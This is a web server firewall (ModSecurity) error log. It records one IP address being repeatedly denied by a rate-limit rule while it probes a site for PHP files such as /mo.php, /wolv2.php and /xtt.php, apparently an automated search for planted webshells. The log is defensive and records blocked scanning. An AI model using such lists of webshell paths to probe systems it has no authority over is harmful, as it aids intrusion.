[Fri Apr 03 01:29:08.181223 2026] [:error] [pid 25018:tid 25412] [client 4.232.187.184:62154] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-t.api.php"] [unique_id "ac6nZHupR6lXnAUzFGr2OAAAAEE"]
[Fri Apr 03 01:29:08.665557 2026] [:error] [pid 25470:tid 25496] [client 4.232.187.184:62182] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-t.api.php"] [unique_id "ac6nZHhROcck6_9HYygTygAAANg"]
[Fri Apr 03 01:29:09.147053 2026] [:error] [pid 25470:tid 25472] [client 4.232.187.184:30994] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-t.api.php"] [unique_id "ac6nZXhROcck6_9HYygTzwAAAMA"]
[Fri Apr 03 01:29:09.681139 2026] [:error] [pid 25470:tid 25488] [client 4.232.187.184:61519] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bolt.php"] [unique_id "ac6nZXhROcck6_9HYygT0gAAANA"]
[Fri Apr 03 01:29:24.781976 2026] [:error] [pid 25470:tid 25482] [client 4.232.187.184:28645] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mo.php"] [unique_id "ac6ndHhROcck6_9HYygUAgAAAMo"]
[Fri Apr 03 01:29:25.306566 2026] [:error] [pid 25035:tid 25452] [client 4.232.187.184:32633] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mo.php"] [unique_id "ac6ndRhR292toNOkLqGzlgAAAIo"]
[Fri Apr 03 01:29:25.810972 2026] [:error] [pid 25470:tid 25486] [client 4.232.187.184:62882] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mo.php"] [unique_id "ac6ndXhROcck6_9HYygUBAAAAM4"]
[Fri Apr 03 01:29:26.287515 2026] [:error] [pid 25035:tid 25466] [client 4.232.187.184:62475] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mo.php"] [unique_id "ac6ndhhR292toNOkLqGzmAAAAJg"]
[Fri Apr 03 01:29:26.825389 2026] [:error] [pid 25470:tid 25494] [client 4.232.187.184:62898] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/doc.php"] [unique_id "ac6ndnhROcck6_9HYygUCQAAANY"]
[Fri Apr 03 01:29:27.565963 2026] [:error] [pid 25470:tid 25482] [client 4.232.187.184:61330] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/doc.php"] [unique_id "ac6nd3hROcck6_9HYygUDQAAAMo"]
[Fri Apr 03 01:29:28.088406 2026] [:error] [pid 25010:tid 25362] [client 4.232.187.184:3872] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/doc.php"] [unique_id "ac6neI_KcjFQF5TuqTWlDgAAAA0"]
[Fri Apr 03 01:29:28.596325 2026] [:error] [pid 25010:tid 25356] [client 4.232.187.184:51323] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/doc.php"] [unique_id "ac6neI_KcjFQF5TuqTWlEAAAAAg"]
[Fri Apr 03 01:29:29.242799 2026] [:error] [pid 25018:tid 25425] [client 4.232.187.184:62482] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inde.php"] [unique_id "ac6neXupR6lXnAUzFGr2YQAAAEw"]
[Fri Apr 03 01:29:29.874556 2026] [:error] [pid 25018:tid 25414] [client 4.232.187.184:3886] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inde.php"] [unique_id "ac6neXupR6lXnAUzFGr2YgAAAEI"]
[Fri Apr 03 01:29:30.365327 2026] [:error] [pid 25010:tid 25349] [client 4.232.187.184:62846] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inde.php"] [unique_id "ac6neo_KcjFQF5TuqTWlGwAAAAI"]
[Fri Apr 03 01:29:30.896513 2026] [:error] [pid 25010:tid 25373] [client 4.232.187.184:51321] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inde.php"] [unique_id "ac6neo_KcjFQF5TuqTWlHgAAABg"]
[Fri Apr 03 01:29:31.440288 2026] [:error] [pid 25035:tid 25464] [client 4.232.187.184:62808] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi-o.php"] [unique_id "ac6nexhR292toNOkLqGzogAAAJY"]
[Fri Apr 03 01:29:31.976227 2026] [:error] [pid 25010:tid 25354] [client 4.232.187.184:3881] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi-o.php"] [unique_id "ac6ne4_KcjFQF5TuqTWlIQAAAAY"]
[Fri Apr 03 01:29:32.615504 2026] [:error] [pid 25010:tid 25353] [client 4.232.187.184:51278] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi-o.php"] [unique_id "ac6nfI_KcjFQF5TuqTWlIgAAAAU"]
[Fri Apr 03 01:29:33.304506 2026] [:error] [pid 25470:tid 25476] [client 4.232.187.184:62805] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi-o.php"] [unique_id "ac6nfXhROcck6_9HYygUKAAAAMQ"]
[Fri Apr 03 01:29:39.531462 2026] [:error] [pid 25470:tid 25475] [client 4.232.187.184:51318] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple.php"] [unique_id "ac6ng3hROcck6_9HYygUMgAAAMM"]
[Fri Apr 03 01:29:40.164784 2026] [:error] [pid 25470:tid 25480] [client 4.232.187.184:61364] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple.php"] [unique_id "ac6nhHhROcck6_9HYygUNgAAAMg"]
[Fri Apr 03 01:29:40.671969 2026] [:error] [pid 25010:tid 25353] [client 4.232.187.184:28969] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple.php"] [unique_id "ac6nhI_KcjFQF5TuqTWlOQAAAAU"]
[Fri Apr 03 01:29:41.236941 2026] [:error] [pid 25035:tid 25447] [client 4.232.187.184:38207] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple.php"] [unique_id "ac6nhRhR292toNOkLqGzugAAAIU"]
[Fri Apr 03 01:29:41.747458 2026] [:error] [pid 25010:tid 25358] [client 4.232.187.184:35032] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zxin.php"] [unique_id "ac6nhY_KcjFQF5TuqTWlPQAAAAo"]
[Fri Apr 03 01:29:42.234074 2026] [:error] [pid 25010:tid 25373] [client 4.232.187.184:51319] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zxin.php"] [unique_id "ac6nho_KcjFQF5TuqTWlQAAAABg"]
[Fri Apr 03 01:29:42.730254 2026] [:error] [pid 25470:tid 25476] [client 4.232.187.184:30555] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zxin.php"] [unique_id "ac6nhnhROcck6_9HYygUOgAAAMQ"]
[Fri Apr 03 01:29:43.260357 2026] [:error] [pid 25010:tid 25364] [client 4.232.187.184:62872] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zxin.php"] [unique_id "ac6nh4_KcjFQF5TuqTWlRwAAAA8"]
[Fri Apr 03 01:29:43.733121 2026] [:error] [pid 25018:tid 25411] [client 4.232.187.184:28942] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/index/function.php"] [unique_id "ac6nh3upR6lXnAUzFGr2eQAAAEA"]
[Fri Apr 03 01:29:44.392592 2026] [:error] [pid 25010:tid 25359] [client 4.232.187.184:40534] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/index/function.php"] [unique_id "ac6niI_KcjFQF5TuqTWlSwAAAAs"]
[Fri Apr 03 01:29:45.057576 2026] [:error] [pid 25470:tid 25484] [client 4.232.187.184:36924] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/index/function.php"] [unique_id "ac6niXhROcck6_9HYygUPgAAAMw"]
[Fri Apr 03 01:29:45.542349 2026] [:error] [pid 25018:tid 25412] [client 4.232.187.184:38175] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/index/function.php"] [unique_id "ac6niXupR6lXnAUzFGr2fQAAAEE"]
[Fri Apr 03 01:29:46.046713 2026] [:error] [pid 25010:tid 25359] [client 4.232.187.184:30589] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/NewFile.php"] [unique_id "ac6nio_KcjFQF5TuqTWlVwAAAAs"]
[Fri Apr 03 01:29:46.547425 2026] [:error] [pid 25010:tid 25373] [client 4.232.187.184:38883] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/NewFile.php"] [unique_id "ac6nio_KcjFQF5TuqTWlWgAAABg"]
[Fri Apr 03 01:29:47.035252 2026] [:error] [pid 25018:tid 25420] [client 4.232.187.184:31074] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/NewFile.php"] [unique_id "ac6ni3upR6lXnAUzFGr2gQAAAEc"]
[Fri Apr 03 01:29:47.560572 2026] [:error] [pid 25018:tid 25433] [client 4.232.187.184:31093] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/NewFile.php"] [unique_id "ac6ni3upR6lXnAUzFGr2gwAAAFQ"]
[Fri Apr 03 01:29:48.089445 2026] [:error] [pid 25035:tid 25464] [client 4.232.187.184:31514] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa.php"] [unique_id "ac6njBhR292toNOkLqGzygAAAJY"]
[Fri Apr 03 01:29:48.641639 2026] [:error] [pid 25470:tid 25491] [client 4.232.187.184:38897] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa.php"] [unique_id "ac6njHhROcck6_9HYygUQAAAANM"]
[Fri Apr 03 01:29:50.468374 2026] [:error] [pid 25018:tid 25432] [client 4.232.187.184:40562] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa.php"] [unique_id "ac6njnupR6lXnAUzFGr2hwAAAFM"]
[Fri Apr 03 01:29:50.988660 2026] [:error] [pid 25018:tid 25421] [client 4.232.187.184:62877] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa.php"] [unique_id "ac6njnupR6lXnAUzFGr2iQAAAEg"]
[Fri Apr 03 01:29:51.633158 2026] [:error] [pid 25010:tid 25353] [client 4.232.187.184:38892] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wolv2.php"] [unique_id "ac6nj4_KcjFQF5TuqTWlaQAAAAU"]
[Fri Apr 03 01:29:52.118334 2026] [:error] [pid 25010:tid 25359] [client 4.232.187.184:38911] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wolv2.php"] [unique_id "ac6nkI_KcjFQF5TuqTWlbAAAAAs"]
[Fri Apr 03 01:29:52.617346 2026] [:error] [pid 25470:tid 25489] [client 4.232.187.184:32518] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wolv2.php"] [unique_id "ac6nkHhROcck6_9HYygUSQAAANE"]
[Fri Apr 03 01:29:53.253930 2026] [:error] [pid 25035:tid 25445] [client 4.232.187.184:35018] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wolv2.php"] [unique_id "ac6nkRhR292toNOkLqGz0gAAAIM"]
[Fri Apr 03 01:29:53.814530 2026] [:error] [pid 25470:tid 25473] [client 4.232.187.184:62945] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/geck.php"] [unique_id "ac6nkXhROcck6_9HYygUTAAAAME"]
[Fri Apr 03 01:29:54.325963 2026] [:error] [pid 25035:tid 25452] [client 4.232.187.184:31508] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/geck.php"] [unique_id "ac6nkhhR292toNOkLqGz1AAAAIo"]
[Fri Apr 03 01:29:55.300983 2026] [:error] [pid 25470:tid 25489] [client 4.232.187.184:34431] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/geck.php"] [unique_id "ac6nk3hROcck6_9HYygUVAAAANE"]
[Fri Apr 03 01:29:55.861606 2026] [:error] [pid 25470:tid 25473] [client 4.232.187.184:62982] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/geck.php"] [unique_id "ac6nk3hROcck6_9HYygUVgAAAME"]
[Fri Apr 03 01:29:56.422687 2026] [:error] [pid 25035:tid 25457] [client 4.232.187.184:31099] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xtt.php"] [unique_id "ac6nlBhR292toNOkLqGz3AAAAI8"]
[Fri Apr 03 01:29:57.177765 2026] [:error] [pid 25035:tid 25446] [client 4.232.187.184:32543] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xtt.php"] [unique_id "ac6nlRhR292toNOkLqGz4AAAAIQ"]
[Fri Apr 03 01:29:57.852095 2026] [:error] [pid 25035:tid 25466] [client 4.232.187.184:28199] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xtt.php"] [unique_id "ac6nlRhR292toNOkLqGz4gAAAJg"]
[Fri Apr 03 01:29:58.400341 2026] [:error] [pid 25470:tid 25488] [client 4.232.187.184:31538] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xtt.php"] [unique_id "ac6nlnhROcck6_9HYygUWgAAANA"]
[Fri Apr 03 01:29:58.951423 2026] [:error] [pid 25018:tid 25411] [client 4.232.187.184:31526] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "ac6nlnupR6lXnAUzFGr2mAAAAEA"]
[Fri Apr 03 01:29:59.743097 2026] [:error] [pid 25018:tid 25415] [client 4.232.187.184:31043] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "ac6nl3upR6lXnAUzFGr2mgAAAEM"]
[Fri Apr 03 01:30:00.312759 2026] [:error] [pid 25470:tid 25483] [client 4.232.187.184:27623] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "ac6nmHhROcck6_9HYygUZAAAAMs"]
[Fri Apr 03 01:30:00.851786 2026] [:error] [pid 25035:tid 25464] [client 4.232.187.184:27586] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "ac6nmBhR292toNOkLqGz6AAAAJY"]
